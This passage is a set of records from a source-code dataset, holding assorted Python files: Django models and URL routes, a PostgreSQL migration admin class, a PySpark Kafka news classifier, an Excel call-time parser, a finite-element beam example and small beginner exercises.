models.DateTimeField('modified_time', auto_now=True)\n\n\tstatus = models.CharField('status', choices=STATUS_CHOICE)\n\tabstract = models.CharField('abstract', max_length=200)\n\n\tviews = models.PositiveIntegerField('views', default=0)\n\tlikes = models.PositiveIntegerField('likes', default=0)\n\n\ttopped = models.BooleanField('topped', default=False)\n\n\tcategory = models.ForeignKey('Category', verbose_name='category', null=True, on_delete=models.SET_NULL)\n\n\tdef __str__(self):\n\t\treturn self.title\n\n\tclass Meta:\n\t\tordering = ['-modified_time']\n\n\nclass Category(models.Model):\n\tname = models.CharField('name', max_length=20)\n\tcreated_time = models.DateTimeField('created_time', auto_now_add=True)\n\tmodified_time = models.DateTimeField('modified_time', auto_now=True)\n\n\tdef __str__(self):\n\t\treturn self.name\n","sub_path":"Web_Django/django_blog_cool/blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"407004661","text":"import sys\nimport os\nimport datetime\nimport glob\nimport importlib\nimport psycopg2\nfrom psycopg2.extras import DictCursor\nfrom psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT, AsIs\nfrom config import logger\n# ========================================\n\n\nclass DBAdmin(object):\n\n def __init__(self, conf=None, conn=None):\n self.conn = conn\n self.conf = conf\n # __________________________________________\n\n def already_applied(self, name):\n\n query = \"\"\"\n SELECT EXISTS(\n SELECT 1 FROM changelog WHERE name = %s\n )\n\n \"\"\"\n params = (name,)\n\n self.cursor.execute(query, params)\n fetch = self.cursor.fetchone()\n logger.debug(\"Already applied: {}\".format(fetch[0]))\n return fetch[0]\n\n # ___________________________\n\n def apply_versions(self, conf, versions):\n logger.info(\"==== FOUND VERSIONS: %r\", [v['version'] for v in versions])\n applied = []\n\n for ver in versions:\n if self.already_applied(ver['name']):\n logger.info(\"Version %s already applied - skipping\", ver['version'])\n continue\n\n try:\n module_name = ver['module']\n mod = importlib.import_module('%s.%s' % (conf['MIGRATIONS_MODULE'], module_name))\n mod.upgrade(self.conn)\n except Exception as e:\n logger.exception(\"!! APPLY VERSIONS EXCEPTION\")\n# logger.error('ERROR: {}. Aborting apply version {}'.format(e, ver))\n self.conn.rollback()\n raise\n else:\n version = ver['version']\n name = ver['name']\n recordid = self.insert_changelog_record(version, name)\n applied.append(version)\n logger.info(\"Version %s applied\", version)\n logger.debug(\"Changelog record ID for version {}: {}\".format(recordid, ver))\n\n if not len(applied):\n logger.info(\"No changes found for the DB\")\n # _____________________________\n\n @staticmethod\n def createdb(conf, newdb=None, newdb_owner=None):\n \"\"\"\n \"\"\"\n if newdb is None:\n newdb = conf['DBNAME']\n\n if newdb_owner is None:\n newdb_owner = conf['PROJECT_USER']\n\n logger.info(\"Creating DB {} with owner {}\".format(newdb, newdb_owner))\n\n try:\n admin_conn, admin_cursor = DBAdmin.connectdb(conf['DB_CONN_URI_ADMIN'])\n admin_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n query = \"\"\"CREATE DATABASE %(dbname)s WITH OWNER %(user)s\"\"\"\n params = {'dbname': AsIs(newdb), 'user': AsIs(newdb_owner)}\n admin_cursor.execute(query, params)\n except psycopg2.ProgrammingError as pe:\n if 'already exists' in repr(pe):\n pass\n else:\n raise\n except Exception:\n raise\n finally:\n admin_cursor.close()\n admin_conn.close()\n # ___________________________________________\n\n @classmethod\n def create_table_changelog(cls, config):\n\n logger.debug(\"DB_CONN_URI: {}\".format(config['DB_CONN_URI']))\n\n try:\n conn, cursor = DBAdmin.connectdb(config['DB_CONN_URI'])\n\n query = \"\"\"\n CREATE TABLE IF NOT EXISTS changelog (\n id serial PRIMARY KEY,\n version VARCHAR(32),\n name VARCHAR(100) UNIQUE,\n applied TIMESTAMP\n );\n \"\"\"\n params = {}\n\n cursor.execute(query, params)\n conn.commit()\n finally:\n cursor.close()\n conn.close()\n # _____________________________\n\n @staticmethod\n def connectdb(dburi):\n try:\n conn = psycopg2.connect(dburi)\n cursor = conn.cursor(cursor_factory=DictCursor)\n return conn, cursor\n\n except psycopg2.OperationalError as e:\n if 'does not exist' in str(e):\n logger.exception(\"OOPS: {}\".format(e))\n return None, None\n else:\n raise\n # ___________________________\n\n @staticmethod\n def disconnect_all_from_db(cursor, dbname):\n query = \"\"\"\n SELECT pg_terminate_backend(pid)\n FROM pg_stat_activity\n WHERE pid <> pg_backend_pid()\n AND datname = %s\n \"\"\"\n params = (dbname,)\n cursor.execute(query, params)\n # ___________________________________________\n\n def drop_table_changelog(self):\n query = \"\"\"\n DROP TABLE IF EXISTS changelog;\n \"\"\"\n params = {}\n\n self.cursor.execute(query, params)\n self.conn.commit()\n # _____________________________\n\n def downgradedb(self, db):\n try:\n self.conn, self.cursor = self.connectdb(self.conf.DB_CONN_URI)\n migration_file = '0001.create_table-installationstep.sql'\n f = open(os.path.join(self.conf.MIGRATIONS_DIR, migration_file))\n self.cursor.execute(f.read())\n self.conn.commit()\n except Exception:\n self.conn.rollback()\n return\n finally:\n f.close()\n self.cursor.close()\n self.conn.close()\n # _____________________________\n\n @staticmethod\n def dropdb(conf, dbname=None):\n if dbname is None:\n dbname = conf['DBNAME']\n\n logger.info(\"Dropping DB: {}\".format(dbname))\n try:\n admin_conn, admin_cursor = DBAdmin.connectdb(conf['DB_CONN_URI_ADMIN'])\n admin_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n DBAdmin.disconnect_all_from_db(admin_cursor, dbname)\n\n query = \"\"\"DROP DATABASE IF EXISTS %(dbname)s\"\"\"\n params = {'dbname': AsIs(dbname)}\n admin_cursor.execute(query, params)\n finally:\n admin_cursor.close()\n admin_conn.close()\n # ___________________________\n\n @staticmethod\n def grant_connect_to_db(conf):\n try:\n conn, cursor = DBAdmin.connectdb(conf['DB_CONN_URI_ADMIN'])\n conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n query = \"\"\"\n GRANT CONNECT ON DATABASE %s TO %s\n \"\"\"\n params = (AsIs(conf['DBNAME']), AsIs(conf['PROJECT_USER']))\n cursor.execute(query, params)\n finally:\n cursor.close()\n conn.close()\n\n # ___________________________________________\n\n def grant_access_to_table(self, table):\n query = \"\"\"GRANT ALL ON TABLE %(table)s TO %(user)s\"\"\"\n params = {'table': AsIs(table), 'user': AsIs('ivt')}\n\n self.cursor.execute(query, params)\n self.conn.commit()\n\n # ___________________________\n\n def init_app(self, app):\n self.conn, self.cursor = DBAdmin.connectdb(app.config['DB_CONN_URI'])\n logger.debug(\"Cursor created in init_app: {}\".format(type(self.cursor)))\n app.db = self\n return app\n # _____________________________\n\n def initdb(self, conf):\n self.conn, self.cursor = DBAdmin.connectdb(conf['DB_CONN_URI'])\n logger.debug(\"Cursor created in initdbj: {}\".format(type(self.cursor)))\n # _____________________________\n\n @classmethod\n def insert_initial_data(cls, app):\n app_context = app.app_context()\n app_context.push()\n from models import Role\n Role.insert_roles()\n# from models import User\n# User.insert_initial_users()\n # __________________________________\n\n @staticmethod\n def resetdb(conf, dbname=None):\n if dbname is None:\n dbname = conf['DBNAME']\n\n logger.info(\"Resetting DB: {}\".format(dbname))\n\n DBAdmin.revoke_connect_from_db(conf)\n DBAdmin.dropdb(conf)\n DBAdmin.createdb(conf)\n DBAdmin.grant_connect_to_db(conf)\n # ___________________________\n\n @staticmethod\n def revoke_connect_from_db(conf):\n try:\n conn, cursor = DBAdmin.connectdb(conf['DB_CONN_URI_ADMIN'])\n conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n query = \"\"\"\n REVOKE CONNECT ON DATABASE %s FROM %s\n \"\"\"\n params = (AsIs(conf['DBNAME']), AsIs(conf['PROJECT_USER']))\n cursor.execute(query, params)\n except psycopg2.ProgrammingError as e:\n if 'does not exist' in str(e):\n pass\n else:\n raise\n finally:\n cursor.close()\n conn.close()\n # ___________________________________________\n\n @staticmethod\n def upgradedb(conf, upto_version):\n try:\n dba = DBAdmin()\n dba.conn, dba.cursor = DBAdmin.connectdb(conf['DB_CONN_URI'])\n logger.info(\"DB upgrade up to version: {}\".format(upto_version))\n versions = dba.get_upgrade_versions(conf, upto_version)\n dba.apply_versions(conf, versions)\n except Exception as e:\n logger.error('ERROR: %s; rolling back' % e)\n dba.conn.rollback()\n finally:\n dba.cursor.close()\n dba.conn.close()\n # _____________________________\n\n def insert_changelog_record(self, version_number, name):\n\n try:\n\n query = \"\"\"\n INSERT INTO changelog\n (version, name, applied)\n VALUES (%s, %s, %s)\n RETURNING id\n \"\"\"\n params = (version_number, name, datetime.datetime.utcnow())\n\n self.cursor.execute(query, params)\n self.conn.commit()\n fetch = self.cursor.fetchone()\n return fetch['id']\n\n except Exception as e:\n logger.exception('ERROR: %s; rolling back' % e)\n self.conn.rollback()\n return\n # ____________________________\n\n def get_upgrade_versions(self, conf, upto_version):\n # --------------------------\n def _compose_version(vfile):\n module = os.path.splitext(os.path.basename(vfile))[0]\n version, name = module.split('_', 1)\n return dict(name=name, module=module, version=version)\n # --------------------------\n\n versions_path = os.path.join(conf['BASEDIR'], conf['MIGRATIONS_DIR'])\n logger.debug(\"Versions path: {}\".format(versions_path))\n vfiles = glob.iglob(os.path.join(versions_path, '[0-9]*.py'))\n versions = sorted(\n [_compose_version(vfile) for vfile in vfiles],\n key=lambda x: int(x['version'])\n )\n logger.debug(\"Versions: {}\".format(versions))\n return versions\n\n # ___________________________\n\n def prompt(self, question):\n from distutils.util import strtobool\n\n sys.stdout.write('{} [y/n]: '.format(question))\n val = input()\n try:\n ret = strtobool(val)\n except ValueError:\n sys.stdout.write('Please answer with a y/n\\n')\n return self.prompt(question)\n\n return ret\n","sub_path":"korak/webapp/dba/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":11118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"460667801","text":"from pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nfrom pyspark import SparkContext\nfrom pyspark.ml.classification import NaiveBayesModel\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\nfrom pyspark.sql import SparkSession\nfrom pyspark.ml import PipelineModel\nfrom pyspark.sql.functions import lit\nfrom pyspark.ml.classification import LogisticRegressionModel\n\n# Code for News Classification on Streaming Data\nroot = \"/Users/harshverma/PycharmProjects/SparkStreamNewsDataClassification\"\noutput_folder_path = root + \"/Output/\"\ninput_folder_path = root + \"/data/\"\n\n# News Categories\nnews_categories = ['Australia news', 'US news', 'Football', 'World news' , 'Sport' , 'Television & radio' , 'Environment', 'Science' , 'Media'\n 'News', 'Opinion' , 'Politics', 'Business', 'UK news', 'Society', 'Life and style', 'Inequality', 'Art and design', 'Books', 'Stage'\n 'Film','Music', 'Global', 'Food', 'Culture', 'Community', 'Money', 'Technology', 'Travel', 'From the Observer', 'Fashion', 'Crosswords', 'Law']\n\n# -- Functions --\n\n# News Category Label Mapper with Index\ndef mapSpeciesTypeWithNumericLabel(news_category):\n try:\n news_category = str(news_category)\n news_category = news_category.split(\"=\")[1].strip().replace(\")\", \"\")\n news_category = int(float(str(news_category)))\n # Prediction\n news_category = news_category + 1\n\n except:\n print(news_category)\n print(type(news_category))\n\n if news_category == 0:\n return 'Australia news'\n elif news_category == 1:\n return 'US news'\n elif news_category == 2:\n return 'Football'\n elif news_category == 3:\n return 'World news'\n elif news_category == 4:\n return 'Sport'\n elif news_category == 5:\n return 'Television & radio'\n elif news_category == 6:\n return 'Environment'\n elif news_category == 7:\n return 'Science'\n elif news_category == 8:\n return 'Media'\n elif news_category == 9:\n return 'News'\n elif news_category == 10:\n return 'Opinion'\n elif news_category == 11:\n return 'Politics'\n elif news_category == 12:\n return 'Business'\n elif news_category == 13:\n return 'UK news'\n elif news_category == 14:\n return 'Society'\n elif news_category == 15:\n return 'Life and style'\n elif news_category == 16:\n return 'Inequality'\n elif news_category == 17:\n return 'Art and design'\n elif news_category == 18:\n return 'Books'\n elif news_category == 19:\n return 'Stage'\n elif news_category == 20:\n return 'Film'\n elif news_category == 21:\n return 'Music'\n elif news_category == 22:\n return 'Global'\n elif news_category == 23:\n return 'Food'\n elif news_category == 24:\n return 'Culture'\n elif news_category == 25:\n return 'Community'\n elif news_category == 26:\n return 'Money'\n elif news_category == 27:\n return 'Technology'\n elif news_category == 28:\n return 'Travel'\n elif news_category == 29:\n return 'From the Observer'\n elif news_category == 30:\n return 'Fashion'\n elif news_category == 31:\n return 'Crosswords'\n elif news_category == 32:\n return 'Law'\n else:\n return None\n\n\ndef createLabeledPoints(field):\n species = mapSpeciesTypeWithNumericLabel(field)\n return species\n\n\ndef process(time, rdd):\n print(\"=========*********************************************** %s ***********************************************============\" % str(time))\n print(\"\\n\")\n if not (rdd.isEmpty()):\n df = spark.createDataFrame(rdd, [\"label\", \"text\"])\n print(\"=========***********************************************$ Raw Data From Stream $***********************************************=========\")\n df.show()\n pipeline_data = loded_pipeline.transform(df)\n print(\"\\n\")\n print(\"=========***********************************************$ Transformed Data After Running Pre Loded Pipeline $***********************************************=========\")\n pipeline_data.show()\n print(\"\\n\\n\")\n\n print(\"=========***********************************************$ Classification Using Pre Trained Logistic Classification Model $***********************************************=========\")\n predictions = saved_logistic_model.transform(pipeline_data)\n\n evaluator = MulticlassClassificationEvaluator(labelCol=\"label\", predictionCol=\"prediction\")\n f1 = evaluator.setMetricName(\"f1\").evaluate(predictions)\n weightedPrecision = evaluator.setMetricName(\"weightedPrecision\").evaluate(predictions)\n weightedRecall = evaluator.setMetricName(\"weightedRecall\").evaluate(predictions)\n accuracyNaiveBayes = evaluator.setMetricName(\"accuracy\").evaluate(predictions)\n\n predictions = predictions.select(\"label\", \"prediction\")\n\n predictions = predictions.withColumn(\"Current Stream Accuracy %\", lit(str((accuracyNaiveBayes) * 100) + \"%\"))\n predictions = predictions.withColumn(\"Current Stream Error %\", lit(str((1.0 - accuracyNaiveBayes) * 100) + \"%\"))\n predictions = predictions.withColumn(\"Current Stream F1 Score\", lit(str(f1)))\n predictions = predictions.withColumn(\"Current Stream weightedRecall\", lit(str(weightedRecall)))\n predictions = predictions.withColumn(\"Current Stream weightedPrecision\", lit(str(weightedPrecision)))\n\n # To Print Data Frame Schema for Debbuging\n #predictions.printSchema()\n\n label = mapSpeciesTypeWithNumericLabel(predictions.select(\"prediction\").first())\n labelInitial = mapSpeciesTypeWithNumericLabel(predictions.select(\"label\").first())\n global total_count_logistic_classification\n global correct_count_logistic_classification\n total_count_logistic_classification = total_count_logistic_classification + 1\n if(labelInitial == label):\n correct_count_logistic_classification = correct_count_logistic_classification + 1\n\n\n overall_accuracy_percent = (float(correct_count_logistic_classification) / float(total_count_logistic_classification)) * 100\n predictions = predictions.withColumn(\"News_Category_Predicted\", lit(str(label)))\n predictions = predictions.withColumn(\"News_Category_InitalLabel\", lit(str(labelInitial)))\n\n\n predictions.show()\n\n # Overall Stats\n total_predictions = predictions.select(\"label\")\n total_predictions = total_predictions.withColumn(\"Overall Correct Count\", lit(str(correct_count_logistic_classification)))\n total_predictions = total_predictions.select(\"Overall Correct Count\")\n total_predictions = total_predictions.withColumn(\"Total Count\", lit(str(total_count_logistic_classification)))\n total_predictions = total_predictions.withColumn(\"Overall Accuracy Percent(%)\", lit(str(overall_accuracy_percent) + \"%\"))\n total_predictions = total_predictions.withColumn(\"Overall Error Percent(%)\", lit(str(100-overall_accuracy_percent) + \"%\"))\n\n print(\"\\n\")\n print(\"=========***********************************************$ Overall Classification Metrics Logistic Classification Model $***********************************************=========\")\n total_predictions.show()\n\n # print(\"Test Error for Naive Bayes :\" + str((1.0 - accuracyNaiveBayes) * 100) + \"%\")\n # print(\"Test Accuracy for Naive Bayes :\" + str((accuracyNaiveBayes) * 100) + \"%\")\n # print(\"Test weightedRecall for Naive Bayes :\" + str(weightedRecall))\n # print(\"Test weightedPrecision for Naive Bayes :\" + str(weightedPrecision))\n # print(\"Test f1 score for Naive Bayes :\" + str(f1))\n\n # Naive bayes Model Classification\n\n print(\"\\n\\n\")\n print(\"=========***********************************************$ Classification Using Pre Trained Naive Bayes Classification Model $***********************************************=========\")\n print(\"\\n\")\n naive_bayes_predictions = saved_naive_bayes_model.transform(pipeline_data)\n\n evaluator = MulticlassClassificationEvaluator(labelCol=\"label\", predictionCol=\"prediction\")\n f1 = evaluator.setMetricName(\"f1\").evaluate(naive_bayes_predictions)\n weightedPrecision = evaluator.setMetricName(\"weightedPrecision\").evaluate(naive_bayes_predictions)\n weightedRecall = evaluator.setMetricName(\"weightedRecall\").evaluate(naive_bayes_predictions)\n accuracyNaiveBayes = evaluator.setMetricName(\"accuracy\").evaluate(naive_bayes_predictions)\n\n naive_bayes_predictions = naive_bayes_predictions.select(\"label\", \"prediction\")\n\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"Current Stream Accuracy %\", lit(str((accuracyNaiveBayes) * 100) + \"%\"))\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"Current Stream Error %\", lit(str((1.0 - accuracyNaiveBayes) * 100) + \"%\"))\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"Current Stream F1 Score\", lit(str(f1)))\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"Current Stream weightedRecall\", lit(str(weightedRecall)))\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"Current Stream weightedPrecision\", lit(str(weightedPrecision)))\n\n # To Print Data Frame Schema for Debbuging\n # predictions.printSchema()\n\n label_naive_bayes = mapSpeciesTypeWithNumericLabel(naive_bayes_predictions.select(\"prediction\").first())\n labelInitial_naive_bayes = mapSpeciesTypeWithNumericLabel(naive_bayes_predictions.select(\"label\").first())\n\n # Loading Global Variables\n global total_count_naive_bayes_classification\n global correct_count_naive_bayes_classification\n\n total_count_naive_bayes_classification = total_count_naive_bayes_classification + 1\n if (label_naive_bayes == labelInitial_naive_bayes):\n correct_count_naive_bayes_classification = correct_count_naive_bayes_classification + 1\n\n overall_accuracy_naive_bayes_percent = (float(correct_count_naive_bayes_classification) / float(total_count_naive_bayes_classification)) * 100\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"News_Category_Predicted\", lit(str(label_naive_bayes)))\n naive_bayes_predictions = naive_bayes_predictions.withColumn(\"News_Category_InitalLabel\", lit(str(labelInitial_naive_bayes)))\n\n naive_bayes_predictions.show()\n print(\"\\n\")\n\n # Overall Stats\n total_naive_bayes_predictions = naive_bayes_predictions.select(\"label\")\n total_naive_bayes_predictions = total_naive_bayes_predictions.withColumn(\"Overall Correct Count\", lit(str(correct_count_naive_bayes_classification)))\n total_naive_bayes_predictions = total_naive_bayes_predictions.select(\"Overall Correct Count\")\n total_naive_bayes_predictions = total_naive_bayes_predictions.withColumn(\"Total Count\", lit(str(total_count_naive_bayes_classification)))\n total_naive_bayes_predictions = total_naive_bayes_predictions.withColumn(\"Overall Accuracy Percent(%)\",\n lit(str(overall_accuracy_naive_bayes_percent) + \"%\"))\n total_naive_bayes_predictions = total_naive_bayes_predictions.withColumn(\"Overall Error Percent(%)\",\n lit(str(100 - overall_accuracy_naive_bayes_percent) + \"%\"))\n\n print(\"=========***********************************************$ Overall Classification Metrics Naive Bayes Classification Model $***********************************************=========\")\n\n total_naive_bayes_predictions.show()\n\n print(\"\\n\")\n print(\"=========*********************************************** End of Single Stream ***********************************************=========\")\n\n\n# Main Method\nif __name__==\"__main__\":\n\n # Initialize global count variables for both classification Model\n # Logistic Classification count variables\n correct_count_logistic_classification = 0\n total_count_logistic_classification = 0\n\n # Naive Bayes Classification count variables\n correct_count_naive_bayes_classification = 0\n total_count_naive_bayes_classification = 0\n\n sc = SparkContext(appName=\"PythonStreamingKafkaWordCount\")\n sc.setLogLevel(\"ERROR\")\n spark = SparkSession.builder.getOrCreate()\n ssc = StreamingContext(sc, 1)\n # Setting model path\n save_pipeline_path = output_folder_path + \"pipeline\"\n saved_logistic_model_path = output_folder_path + \"LogisticClassificationModel\"\n saved_naive_bayes_model_path = output_folder_path + \"NaiveBayesClassificationModel\"\n\n # Loading Pipeline and Model\n loded_pipeline = PipelineModel.load(save_pipeline_path)\n saved_logistic_model = LogisticRegressionModel.load(saved_logistic_model_path)\n saved_naive_bayes_model = NaiveBayesModel.load(saved_naive_bayes_model_path)\n\n # Creating Kafka Stream\n kvs = KafkaUtils.createDirectStream(\n ssc, topics=['guardian2stream'], kafkaParams={\"metadata.broker.list\": 'localhost:9092'})\n document_tuple = kvs.map(lambda line: (int(line[1].split(\"||\")[0].strip().encode(\"ascii\", \"ignore\")), line[1].split(\"||\")[1].encode(\"ascii\", \"ignore\")))\n document_tuple.pprint()\n document_tuple.foreachRDD(process)\n\n ssc.start()\n ssc.awaitTermination()\n ssc.stop(stopGraceFully=True)","sub_path":"src/StreamingNewsClassification.py","file_name":"StreamingNewsClassification.py","file_ext":"py","file_size_in_byte":13549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"66711336","text":"\ndef get_unique_value(query_set, field_name, value, sep=\"_\", suffix=\"\"):\n\n \"\"\"Gets a unique name for an object corresponding to a particular\n django query. Useful if you've defined your field as unique\n but are system-generating the values. Starts by checking\n and then goes to _2, _3, ... until \n it finds the first unique entry. Assumes is a string\"\"\"\n \n def format(pref, suf):\n return \"%s%s\" % (pref, suf)\n original_prefix = value\n value = format(value, suffix)\n column_count = query_set.filter(**{field_name: value}).count()\n to_append = 2\n while column_count != 0:\n new_prefix = \"%s%s%s\" % (original_prefix, sep, to_append)\n value = format(new_prefix, suffix)\n column_count = query_set.filter(**{field_name: value}).count()\n to_append = to_append + 1\n return value\n \n\n","sub_path":"hq_env/lib/python2.7/site-packages/dimagi/utils/django/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"403887024","text":"#main.py\nimport json\nfrom lxml import etree\nfrom xlwt import Workbook\nimport xlrd, codecs\n\nexcel = xlrd.open_workbook(\"./unicom.xls\");\nsheet = excel.sheet_by_name(\"2017年02月语音通信\");\n\n'''\n'''\n\nwhole = 0\n\nfor i in range(sheet.nrows):\n #row = sheet.row(i)\n for j in range(sheet.ncols):\n if i > 0 and j == 3:\n strr = str(sheet.cell(i, j).value)\n msplit = strr.split('分')\n try:\n secondstr = msplit[1]\n minute = int(msplit[0])\n except:\n minute = 0\n secondstr = msplit[0]\n ssplit = secondstr.split('秒')\n seconds = int(ssplit[0])\n\n #通话时间\n period = minute * 60 + seconds\n print('%s\\'%s\\\" == %s\\''%(minute, seconds, period))\n whole += period\n else:\n pass\n\nprint('总共 => %s秒'%whole)\n","sub_path":"code/0020/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"601862413","text":"from django.conf.urls import url\n\nfrom photos import views\n\napp_name = 'photos'\n\nurlpatterns = [\n url(r'^redirect_page/$', views.redirect_page, name='redirect_page'),\n url(r'^create_photo/$', views.create_photo, name='create_photo'),\n url(r'^(?P\\w+)/list_photos/$', views.list_photos, name='list_photos'),\n url(r'^(?P\\w+)/detail_photo/(?P\\d+)$', views.detail_photo, name='detail_photo'),\n]\n","sub_path":"photos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"531245890","text":"#Banner Text formats banner text for display\n\ndef center_text(line_width: int, payload):\n \"\"\"Blah Blah Blah!\"\"\"\n \n payload.center(line_width)\n\n\ndef format_banner_text(line_width , payload):\n\n test = center_text(\"test\",\"test2\")\n\n little_line = int(line_width) - 4\n\n if payload == \"*\":\n payload = \"* {} *\".format(\" \" * little_line)\n print(payload)\n else:\n center_text = payload.center(line_width - 2 )\n print(\"*{}*\".format(center_text))\n\n\nformat_banner_text(80,\"*\")\nformat_banner_text(80,\"sample text\")","sub_path":"Section 6 - Functions/docstrings.py","file_name":"docstrings.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"87449418","text":"from math import *\nfrom lyza import *\nimport numpy as np\nimport itertools\n\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\n\n# The primary purpose of this example is to have a convergence analysis\n# with Timoshenko's analytic solution for cantilever beams\n# It is still work in progress.\n\nQUADRATURE_DEGREE = 1\nFUNCTION_SIZE = 2\nSPATIAL_DIMENSION = 2\n\nL = 4.0\nC = 1.0\nP = 1.0\n\nE = 10000.0\nNU = 0.3\nI = 1.0 / 12.0 * C * C * C\n\nMU = E / (1.0 + NU) / 2.0\nLAMBDA = E * NU / (1.0 + NU) / (1.0 - 2.0 * NU)\n\n\ndef exact_solution(coor, t):\n x = coor[0]\n y = coor[1]\n\n # q = P/C\n # delta = 5./24.*q*L*L*L*L/E/I*(1. + 12./5.*C*C/L/L*(4./5. + NU/2.))\n\n # u = q/2./E/I*((L*L*x - x*x*x/3.)*y + x*(2./3.*y*y*y - 2./5.*C*C*y) \\\n # + NU*x*(1./3.*y*y*y - C*C*y + 2./3.*C*C*C))\n\n # v = -q/2./E/I*(y*y*y*y/12. - C*C*y*y/2. + 2./3.*C*C*C*y \\\n # + NU*((L*L - x*x)*y*y/2. + y*y*y*y/6. - 1./5.*C*C*y*y)) \\\n # -1/2./E/I*(L*L*x*x/2. - x*x*x*x/12. - 1./5.*C*C*x*x\\\n # +(1. + 1./2.*NU)*C*C*x*x)\\\n # + delta\n\n # u = -P*x*x*y/(2.*E*I) - NU*P*y*y*y/(6.*E*I) + P*y*y*y/(6.*I*MU) \\\n # + (P*L*L/(2.*E*I) - P*C*C/(2.*I*MU))*y\n # v = NU*P*x*y*y/(2.*E*I) + P*x*x*x/(6.*E*I) - P*L*L*x/(2.*E*I) + P*L*L*L/(3.*E*I)\n\n u = (\n -P\n * y\n / 6.0\n / E\n / I\n * ((6.0 * L - 3.0 * x) * x + (2.0 + NU) * (y * y - C * C / 4.0))\n )\n v = (\n -P\n / 6.0\n / E\n / I\n * (\n 3.0 * NU * y * y * (L - x)\n + (4.0 + 5.0 * NU) * C * C * x / 4.0\n + (3.0 * L - x) * x * x\n )\n )\n\n return [u, v]\n\n\nZERO_FUNCTION = lambda x, t: [0.0, 0.0, 0.0]\nFORCE_FUNCTION = lambda x, t: [0.0, -6.0 * P / C / C / C * (C * C / 4.0 - x[1] * x[1])]\n# FORCE_FUNCTION = lambda x, t: [0.,-P/C]\n\n\nclass RightEnd(Domain):\n def is_subset(self, cell):\n is_in = not (False in [right_boundary(node.coor, 0) for node in cell.nodes])\n\n return is_in and cell.is_boundary\n\n\nright_boundary = lambda x, t: x[0] >= L - 1e-12\nleft_boundary = lambda x, t: x[0] <= 1e-12\n\nleft_bottom_point = lambda x, t: x[0] <= 1e-12 and x[1] <= -C / 2.0 + 1e-12\n\nmesh = meshes.QuadMesh(\n 40, 10, [0.0, -C / 2.0], [L, -C / 2.0], [L, C / 2.0], [0.0, C / 2.0],\n)\n\nmesh.set_quadrature_degree(\n lambda c: QUADRATURE_DEGREE, SPATIAL_DIMENSION, domain=domain.AllDomain()\n)\n\na = matrix_assemblers.LinearElasticityMatrix(mesh, FUNCTION_SIZE)\na.set_param_isotropic(LAMBDA, MU, plane_stress=True)\n\nb_neumann = vector_assemblers.FunctionVector(mesh, FUNCTION_SIZE, domain=RightEnd())\nb_neumann.set_param(FORCE_FUNCTION, 0)\n\n# dirichlet_bcs = [DirichletBC(lambda x: [0.,0.], right_boundary)]\ndirichlet_bcs = [DirichletBC(ZERO_FUNCTION, left_boundary)]\n# dirichlet_bcs = [DirichletBC(exact_solution, left_boundary)]\n# dirichlet_bcs = [DirichletBC(exact_solution, lambda x: True)]\n\nu, f = solve(a, b_neumann, dirichlet_bcs)\n\nofile = VTKFile(\"out_beam.vtk\")\n\nu.set_label(\"u\")\nf.set_label(\"f\")\n\nofile.write(mesh, [u, f])\n","sub_path":"examples/beam/beam.py","file_name":"beam.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"320992732","text":"#coding: utf-8\n\nprint('お金入れろい。ジュース出すで。')\n\n# ジュースの種類は \\100, \\150, \\180\n# 最初にお金を投入して、ジュースの種類を番号で示す\n# 残金が100円以上なら、再び商品を選べるようにする\n# 最後にお釣りを受け取る\n# 投入金額が最初から少ない場合など、様々なシーンを想定し\n# 繰り返しや条件分岐を組み合わせて対応する\n\ncharge = input()\nprint(str(charge) + '円入れたね。')\nchrage = int(charge)\n\na = 100\nb = 150\nc = 180\n\nif charge < 100:\n print('ジュースは100円からです')\n print('{0}円お返しします。')\n\n\nif charge >= c:\n charge = c - charge\nelif charge >= b:\n charge = b - charge\nelif charge >= a:\n charge = a - charge\nprint(charge)\n","sub_path":"python/chousyoshinsha_3-sougou2.py","file_name":"chousyoshinsha_3-sougou2.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"47005586","text":"\n\nfrom xai.brain.wordbase.verbs._send import _SEND\n\n#calss header\nclass _SENDS(_SEND, ):\n\tdef __init__(self,): \n\t\t_SEND.__init__(self)\n\t\tself.name = \"SENDS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"send\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_sends.py","file_name":"_sends.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"618581974","text":"import time\nimport sys\nimport 